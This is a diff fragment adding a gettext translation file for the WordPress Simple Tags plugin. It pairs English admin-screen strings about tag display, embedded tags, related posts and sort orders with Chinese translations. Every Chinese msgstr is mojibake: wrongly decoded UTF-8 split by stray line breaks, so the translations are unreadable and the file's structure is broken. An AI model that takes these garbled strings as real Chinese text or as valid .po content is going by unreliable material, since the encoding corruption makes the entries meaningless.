+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:304
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:332
+msgid "This feature add a link allowing you to display all the tags of your database. Once displayed, you can click over to add tags to post."
+msgstr "å
+è®žæŸç€ºæ¬å°æææ ç­ŸïŒå¯ç¹å»ä»»äžæ ç­Ÿå°å
+¶æ·»å å°æ¥å¿äž­"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:305
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:333
+msgid "Activate autocompletion feature:"
+msgstr "å¯åšèªåšå®æç¹æ§ïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:306
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:334
+msgid "This feature displays a visual help allowing to enter tags more easily."
+msgstr "æäŸ Ajax æ ç­ŸèŸå
+¥çé¢ïŒäœ¿æ ç­ŸèŸå
+¥æŽæ¹äŸ¿èœ»æŸ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:307
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:335
+msgid "Activate suggested tags feature: (Yahoo! Term Extraction API, Tag The Net, Local DB)"
+msgstr "å¯çšæ ç­ŸæšèåèœïŒïŒYahoo! æ ç­Ÿæå API, Tag The Net, æ¬å°æ ç­ŸïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:308
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:336
+msgid "This feature add a box allowing you get suggested tags, by comparing post content and various sources of tags. (external and internal)"
+msgstr "éè¿æ¯èŸæ¥å¿å
+å®¹äžå€ç§æ ç­Ÿæ¥æºïŒå€éšå
+éšåæïŒä»¥æäŸæšèæ ç­Ÿ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:311
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:339
+msgid "Automatically include in header:"
+msgstr "èªåšåš header äž­å å
+¥å
+å
+³é®è¯ïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:312
+msgid "Includes the meta keywords tag automatically in your header (most, but not all, themes support this). These keywords are sometimes used by search engines.<br /><strong>Warning:</strong> If the plugin \"All in One SEO Pack\" is installed and enabled. This feature is disabled."
+msgstr "èªåšåš header äž­å å
+¥è¿äºå
+å
+³é®è¯ïŒåå€§å€æ°äž»é¢æ¯æïŒãæçŽ¢åŒæææ¶äŒäœ¿çšè¿äºå
+³é®è¯<br /><strong>è­ŠåïŒ</strong> åŠæå¯çšäºæä»¶ All in One SEO PackïŒåè¯¥åèœè¢«çŠçš"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:313
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:341
+msgid "Always add these keywords:"
+msgstr "æ»æ¯æ·»å ä»¥äžå
+³é®è¯ïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:314
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:342
+msgid "Max keywords display:"
+msgstr "å
+³é®è¯æ°éäžéïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:315
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:343
+msgid "You must set zero (0) for display all keywords in HTML header."
+msgstr "çœ®é¶ïŒ0ïŒååš header äž­å å
+¥ææå
+³é®è¯"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:318
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:346
+msgid "Use embedded tags:"
+msgstr "äœ¿çšå
+åµæ ç­ŸïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:319
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:347
+msgid "Enabling this will allow Wordpress to look for embedded tags when saving and displaying posts. Such set of tags is marked <code>[tags]like this, and this[/tags]</code>, and is added to the post when the post is saved, but does not display on the post."
+msgstr "å¯çšè¯¥é¡¹å°å
+è®ž WordPress åšä¿å­äžæŸç€ºæ¥å¿æ¶å¯»æŸå
+åµæ ç­Ÿãå
+åµæ ç­Ÿæ è®°äžº<code>[tags]like this, and this[/tags]</code>ïŒåœä¿å­æ¥å¿çæ¶åäŒè¢«æ·»å ïŒäœå¹¶äžå ä»¥æŸç€º"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:320
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:348
+msgid "Prefix for embedded tags:"
+msgstr "å
+åµæ ç­ŸçåçŒïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:321
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:349
+msgid "Suffix for embedded tags:"
+msgstr "å
+åµæ ç­ŸçåçŒïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:324
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:352
+msgid "Automatically display tags list into feeds"
+msgstr "åš Feed ç»å°ŸæŸç€ºæ ç­Ÿåè¡šïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:325
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:353
+msgid "Automatically display tags list into post content:"
+msgstr "åšæ¥å¿ç»å°ŸæŸç€ºæ ç­Ÿåè¡šïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:327
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:351
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:355
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:379
+msgid "<code>no</code> &ndash; Nowhere (default)"
+msgstr "<code>no</code> &ndash; äžæŸç€º ïŒé»è®€ïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:328
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:352
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:356
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:380
+msgid "<code>all</code> &ndash; On your blog and feeds."
+msgstr "<code>all</code> &ndash; åšåå®¢äž Feed äž­æŸç€º"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:329
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:353
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:357
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:381
+msgid "<code>blogonly</code> &ndash; Only on your blog."
+msgstr "<code>blogonly</code> &ndash; ä»
+åšåå®¢äžæŸç€º"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:330
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:354
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:358
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:382
+msgid "<code>homeonly</code> &ndash; Only on your home page."
+msgstr "<code>homeonly</code> &ndash; ä»
+åšéŠé¡µæŸç€º"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:331
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:355
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:359
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:383
+msgid "<code>singularonly</code> &ndash; Only on your singular view (single & page)."
+msgstr "<code>singularonly</code> &ndash; ä»
+åšé¡µé¢ååç¬æ¥å¿äž­æŸç€º"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:332
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:356
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:360
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:384
+msgid "<code>singleonly</code> &ndash; Only on your single view."
+msgstr "<code>singleonly</code> &ndash; ä»
+åšåç¬æ¥å¿äž­æŸç€º"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:333
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:357
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:361
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:385
+msgid "<code>pageonly</code> &ndash; Only on your page view."
+msgstr "<code>pageonly</code> &ndash; ä»
+åšé¡µé¢äž­æŸç€º"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:335
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:363
+msgid "Post tag separator string:"
+msgstr "æ¥å¿æ ç­Ÿåéå­äž²ïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:336
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:364
+msgid "Text to display before tags list:"
+msgstr "æŸç€ºåšæ ç­Ÿåè¡šåé¢çææ¬ïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:337
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:365
+msgid "Text to display after tags list:"
+msgstr "æŸç€ºåšæ ç­Ÿåè¡šåé¢çææ¬ïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:338
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:366
+msgid "Max tags display:"
+msgstr "æ ç­ŸæŸç€ºäžéïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:339
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:367
+msgid "You must set zero (0) for display all tags."
+msgstr "çœ®é¶ïŒ0ïŒä»¥æŸç€ºå
+šéšæ ç­Ÿ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:340
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:368
+msgid "Include categories in result ?"
+msgstr "åšæçŽ¢ç»æäž­å
+æ¬åç±»ïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:341
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:448
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:369
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:476
+msgid "Tag link format:"
+msgstr "æ ç­ŸéŸæ¥æ ŒåŒïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:342
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:370
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:398
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:416
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:449
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:370
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:398
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:426
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:444
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:477
+msgid "You can find markers and explanations <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">in the online documentation.</a>"
+msgstr "æšå¯ä»¥åš <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">åšçº¿ææ¡£</a> äž­æŸå°æ è®°åå
+¶çžå
+³è¯Žæ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:343
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:371
+msgid "Text to display if no tags found:"
+msgstr "æ²¡ææ ç­Ÿæ¶æŸç€ºçææ¬ïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:344
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:374
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:403
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:461
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:372
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:402
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:431
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:489
+msgid "<strong>Advanced usage</strong>:"
+msgstr "<strong>é«çº§çšæ³</strong>ïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:345
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:373
+msgid "You can use the same syntax as <code>st_the_tags()</code> function to customize display. See <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">documentation</a> for more details."
+msgstr "æšå¯ä»¥äœ¿çšäž <code>st_the_tags()</code> åœæ°äžæ ·çè¯­æ³æ¥å®å¶æŸç€ºææãè¯Šæ
+è¯·æ¥ç <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">ææ¯ææ¡£</a>"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:348
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:376
+msgid "Automatically display related posts into feeds"
+msgstr "åš Feed ç»å°ŸæŸç€ºçžå
+³æ¥å¿åè¡šïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:349
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:377
+msgid "Automatically display related posts into post content"
+msgstr "åšæ¥å¿ç»å°ŸæŸç€ºçžå
+³æ¥å¿åè¡šïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:359
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:387
+msgid "Related Posts Order:"
+msgstr "çžå
+³æ¥å¿æåºïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:361
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:389
+msgid "<code>date-asc</code> &ndash; Older Entries."
+msgstr "<codeg>date-asc</code> &ndash; æ§æ¥å¿åšå"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:362
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:390
+msgid "<code>date-desc</code> &ndash; Newer Entries."
+msgstr "<code>date-desc</code> &ndash; æ°æ¥å¿åšå"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:363
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:391
+msgid "<code>count-asc</code> &ndash; Least common tags between posts"
+msgstr "<code>count-asc</code> &ndash; çžåæ ç­Ÿæ°å°çæ¥å¿åšå"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:364
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:392
+msgid "<code>count-desc</code> &ndash; Most common tags between posts (default)"
+msgstr "<code>count-desc</code> &ndash; çžåæ ç­Ÿæ°å€çæ¥å¿åšåïŒé»è®€ïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:365
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:383
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:430
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:438
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:393
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:411
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:458
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:466
+msgid "<code>name-asc</code> &ndash; Alphabetical."
+msgstr "<code>name-asc</code> &ndash; å­æ¯é¡ºåº"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:366
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:384
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:431
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:439
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:394
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:412
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:459
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:467
+msgid "<code>name-desc</code> &ndash; Inverse Alphabetical."
+msgstr "<code>name-desc</code> &ndash; å­æ¯ååº"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:367
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:385
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:432
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:395
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:413
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:460
+msgid "<code>random</code> &ndash; Random."
+msgstr "<code>random</code> &ndash; éæº"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:369
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:397
+msgid "Post link format:"
+msgstr "æ¥å¿éŸæ¥æ ŒåŒïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:371
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:399
+msgid "Maximum number of related posts to display: (default: 5)"
+msgstr "çžå
+³æ¥å¿æ°ééå¶ïŒé»è®€ 5ïŒïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:372
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:400
+msgid "Enter the text to show when there is no related post:"
+msgstr "æ²¡æçžå
+³æ¥å¿æ¶æŸç€ºçææ¬ïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:373
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:402
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:452
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:401
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:430
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:480
+msgid "Enter the positioned title before the list, leave blank for no title:"
+msgstr "åè¡šå®äœæ é¢ïŒçç©ºåäžå®ä¹ïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:375
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:403
+msgid "You can use the same syntax as <code>st_related_posts()</code>function to customize display. See <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">documentation</a> for more details."
+msgstr "æšå¯ä»¥äœ¿çšå <code>st_related_posts()</code> åœæ°äžæ ·çè¯­æ³æ¥èªå®ä¹æŸç€ºææãè¯Šæ
+è¯·æ¥ç <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">ææ¯ææ¡£</a>"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:378
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:406
+msgid "Maximum number of related tags to display: (default: 5)"
+msgstr "çžå
+³æ ç­Ÿæ°ééå¶ïŒé»è®€ 5ïŒïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:379
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:407
+msgid "Order related tags:"
+msgstr "çžå
+³æ ç­ŸæåºïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:381
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:428
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:436
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:409
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:456
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:464
+msgid "<code>count-asc</code> &ndash; Least used."
+msgstr "<code>count-asc</code> &ndash; å·éšæ ç­Ÿåšå"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:382
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:429
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:410
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:457
+msgid "<code>count-desc</code> &ndash; Most popular. (default)"
+msgstr "<code>count-desc</code> &ndash; ç­éšæ ç­Ÿåšå ïŒé»è®€ïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:387
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:415
+msgid "Related tags type format:"
+msgstr "çžå
+³æ ç­Ÿç±»åæ ŒåŒïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:389
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:409
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:445
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:417
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:437
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:473
+msgid "<code>list</code> &ndash; Display a formatted list (ul/li)."
+msgstr "<code>list</code> &ndash; æŸç€ºäžäžªè§æ Œåçåè¡š ïŒul/liïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:390
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:410
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:446
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:418
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:438
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:474
+msgid "<code>flat</code> &ndash; Display inline (no list, just a div)"
+msgstr "<code>flat</code> &ndash; è¡å
+æŸç€ºïŒéåè¡šïŒä»
+ divïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:392
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:420
+msgid "Method of tags intersections and unions used to build related tags link:"
+msgstr "çžå
+³æ ç­ŸéŸæ¥çææ¹åŒïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:394
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:422
+msgid "<code>OR</code> &ndash; Fetches posts with either the \"Tag1\" <strong>or</strong> the \"Tag2\" tag. (default)"
+msgstr "<code>OR</code> &ndash; è·ååšæ ç­ŸâTag1â <strong>æ</strong> æ ç­ŸâTag2âäžçæ¥å¿ãïŒé»è®€ïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:395
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:423
+msgid "<code>AND</code> &ndash; Fetches posts with both the \"Tag1\" <strong>and</strong> the \"Tag2\" tag."
+msgstr "<code>AND</code> &ndash; è·ååšæ ç­ŸâTag1â <strong>äž</strong> æ ç­ŸâTag2âäžçæ¥å¿ã"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:397
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:425
+msgid "Related tags link format:"
+msgstr "çžå
+³æ ç­ŸéŸæ¥æ ŒåŒïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:399
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:427
